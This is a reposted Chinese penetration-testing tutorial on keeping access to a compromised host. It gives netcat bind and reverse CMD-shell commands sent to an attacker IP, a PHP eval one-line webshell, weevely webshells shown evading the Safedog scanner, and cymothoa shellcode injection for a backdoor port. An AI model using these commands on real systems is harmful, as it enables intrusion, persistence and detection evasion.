Kali Linux滲透基礎知識整理(四):維持訪問


Kali Linux滲透基礎知識整理系列文章回顧

維持訪問

在獲得了目標系統的訪問權之后,攻擊者需要進一步維持這一訪問權限。使用木馬程序、后門程序和rootkit來達到這一目的。維持訪問是一種藝術形式,思想比滲透更加重要。

  • Netcat
  • Cryptcat
  • weevely
  • cymothoa

Netcat

NetCat是一個非常簡單的Unix工具,可以讀、寫TCP或UDP網絡連接(network connection)。它被設計成一個可靠的后端(back-end) 工具,能被其它的程序或腳本直接地或容易地驅動。同時,它又是一個功能豐富的網絡調試和開發工具,因為它可以建立你可能用到的幾乎任何類型的連接,以及一些非常有意思的內建功能。NetCat小巧且功能強大,可謂是居家旅行出門必備的“瑞士軍刀”。

一般我們使用netcat做的最多的事情為以下三種: 

1、  掃描指定IP端口情況

2、  端口轉發數據(重點) 

3、  提交自定義數據包

實例演示:NC反彈CMDShell

常用語法簡單介紹

#連接到某處

netcat [-options] hostname port[s] [ports] …

 #監聽端口等待連接

netcat -l -p port [-options] [hostname] [port]

#Options

-u                    UDP 模式

-v                    顯示詳細信息 [-vv更詳細信息] 

-w secs          連接超時設置

-z                    I/O 模式 [掃描時使用]

-l                     監聽入站信息

-p port           打開本地端口

-n                   以數字形式表示的IP地址

-t                    以TELNET的形式應答入站請求

-e prog          程序重定向

掃描常用

【命令】netcat -v ip port

【解釋】掃瞄某 IP 的某個端口,返回端口信息詳細輸出。

【命令】netcat -v -z ip port-port

【解釋】掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。

【命令】netcat -v -z -u ip  port-port

【解釋】掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。

【命令】netcat -nvv -w2 -z ip port-port

【解釋】掃錨某IP的端口段,連接超時時間為2秒。

流量處理

【命令】netcat -l -p 80

【解釋】開啟本機的 TCP 80 端口並監聽次端口的上傳輸的數據。

【命令】netcat -l -v -p 80

【解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到當前 CMD 窗口。

【命令】netcat -l -p 80 > log.dat 

【解釋】開啟本機的 TCP 80 端口並將監聽到的信息輸出到 log.dat 日志文件里。

【命令】netcat -nvv 192.168.1.1 80

【解釋】連接到192.168.1.101主機的 80端口

正向連接

【遠程運行】netcat  -l  -p  1234  -t  -e  %windir%\system32\cmd.exe

 【本地運行】netcat   -nvv  192.168.1.1  1234

采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.1)上執行上述命令即為綁定遠程主機的 CMD 到1234 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell 。

反向連接

【本地運行】netcat -l –vv -p 1234

【遠程運行】netcat -t -e %windir%\system32\cmd.exe 192.168.1.2 1234

采用反向連接方式,先在本地主機運行 nc -l –vv -p 1234 開啟1234 端口並監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.2 1234 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.2(即本機) 端口號為1234 的主機上,連接成功后 IP 地址為 192.168.1.2 的主機會得到一個CMDShell。

NC反彈CMDShell

在Web滲透中,有時候拿到了webshell,我們經常會執行很多命令進行提權等操作,但當我們要嘗試很多命令的時候,使用webshell執行cmd往往沒有本地執行方便,Web程序不穩定,容易崩潰。因此可以借助Webshell通過NC反彈Cmdshell。

#例如已經得到一只webshell如圖

Clipboard Image.png

小結

簡單看了下,得知:

1、操作系統版本為Win NT 6.1.7601,那么要么Win7要么Win Server 2008,既然是服務器,后者可能性更大)

2、目錄訪問權限:除了C盤不能訪問,D、E、F、H盤都能跨目錄訪問,說明權限還是比較大的,另外很多文件都具有r/w權限

3、通過多點Ping測試返回結果,可以認為該網站沒有使用CDN加速,即能通過域名輕松得到真實IP

關於判斷CDN、找出CDN下真實IP的方法,我之前整理過,有興趣的話也許可以看下這篇文章:繞過CDN查看真實IP

Clipboard Image.png

通過以上信息,那么思路可以如下:步驟簡單演示

1、上傳cmd.exe、nc.exe到D盤根目錄(上傳到權限大的目錄)

2、通過NC建立反彈得到CMDShell(一般選一個看起來“正常”點的端口,奇奇怪怪的端口防火牆容易攔截)

Clipboard Image.png

【本地】netcat -l –vv -p 23

【Shell上】nc.exe -t -e cmd.exe X.X.X.X 23

  其中X.X.X.X為本機公網IP,實際測試需確保外網能訪問本機,必要時需端口映射等。

【Shell上執行】nc.exe -t -e cmd.exe X.X.X.X 23

Clipboard Image.png

【本地】成功得到CMDShell,即在本地可直接執行CMD

Clipboard Image.png

Cryptcat

Netcat隧道加密之Cryptcat,正所謂菜刀砍狗頭,滲透信貓流,狗和貓常常是相互的,比如安全狗。cryptcat與netcat最主要區別就是,通過隧道在傳輸數據時,它傳輸的數據經過了加密。

Cryptcat是經典網絡工具netcat的加密版,使用twofish算法加密,其密鑰協商過程基於發送、接收雙發共享的一個password。Cryptcat用法基本和NC相近,不過多介紹了。

Clipboard Image.png

weevely

weevely是一款使用python編寫的webshell工具(集webshell生成和連接於一身,僅用於安全學習教學之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限於php)。使用weevely生成的shell免殺能力很強,並使用加密連接,往往能輕松突破防火牆攔截。

概要:常用語法簡單介紹

實例演示:一句話木馬突破“安全狗”

輸入weevely generate可查看幫助

Clipboard Image.png

#從提示中可以看到

連接一句話木馬:    weevely <URL> <password> [cmd]

加載session文件      weevely session <path> [cmd]

生成后門代理           weevely generate <password> <path>

實驗環境:

OS:Windows Server 2008  R2

Server :Apache 2.4

Firewall:安全狗(Apache版)V3.1正式版

Clipboard Image.png

1. 將安全狗的網馬庫更新到最新后,再進行常規掃描,掃描結果為“未發現網頁木馬及其他危險文件”,即一切正常

Clipboard Image.png

2. 手動在網站目錄下隨便添加一句話木馬,命名為test.php,結果顯然會被殺

test.php      <?php @eval($_POST['c']);?>

Clipboard Image.png

 

#通過weevely生成一句話木馬

 

weevely generate test /root/Desktop/test.php

#test為密碼,/root/Desktop/test.php輸出路徑)

 

Clipboard Image.png

3. 將生成的木馬放到網站根目錄,替換原來的test.php

4. 將生成的木馬放到網站根目錄,替換原來的test.php,並重新掃描

Clipboard Image.png

5. 通過weevely連接一句話木馬,可直接執行CMD

weevely http://www.xxx.cn/test.php test

Clipboard Image.png

cymothoa

Cymothoa 是一款可以將 shellcode 注入到現有進程的(即插進程)后門工具。借助這種注入手段,它能夠把shellcode偽裝成常規程序。它所注入的后門程序應當能夠與被注入的程序(進程)共存,以避免被管理和維護人員懷疑。將shellcode注入到其他進程,還有另外一項優勢:即使目標系統的安全防護工具能夠監視可執行程序的完整性,只要它不檢測內存,那么它就不能發現(插進程)后門程序的進程。

很贊的點是注入到的進程,只要有權限就行,然后反彈的也就是進程相應的權限(並不需要root那樣),當然進程重啟或者掛了也就沒了.當然動作也是很明顯的。

實例演示:利用Cymothoa注入后門

1. 首先可先查看程序PID(*nix系統  ps ,windows系統  tasklist)

Clipboard Image.png

2. 在使用Cymothoa時,須通過-p 選項指定目標進程的PID,並通過-s選項指定Shellcode的編號。例如對bash進程進行注入。

查看:

cymothoa -S

 

比如對bash進行注入

Clipboard Image.png

cymothoa -p 8150 -s 0 -y 1001 

 

3. 注入成功后如上圖,其中  -y 代表開放后門端口

Clipboard Image.png

4.可以看到注入成功后開了rpc。。

寫在最后

嗯,這幾篇文章么,是有個事情,剛好需要這些給一些大一大二的培訓,然后xx找我整理,所以就簡單的整理了下,內容么偏簡單,介紹些工具,基本也沒什么難度,Freebuf這邊比較鼓勵新人,因此給了個機會發了這些文章(這里感謝Freebuf,尤其洋蔥哥)文章么老早就交了,寫了什么也沒忘了,所以前一篇一不小心xxx我也真的是沒注意到,到現在我還是一臉蒙蔽的….

那些在下面噴我的朋友們,我能理解Y(^_^)Y 被噴是好事,至少說明大家還是希望Freebuf多出好文的,以后投稿我會注意的。當然那些在下面挺我的小伙伴  我也非常感謝大家Y(^_^)Y有個好消息就是這是最后一篇了,我也不會再寫也懶得再寫這種東西了,說真的一個月前熬夜寫這個也是一臉蒙蔽—+二臉蒙球的 某雲現在不能愉快的玩耍了,以后就好好在FB混^ – ^  (另外,並沒有基友啊,正想找一個^ ^呢,求推薦,一起??哈哈)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM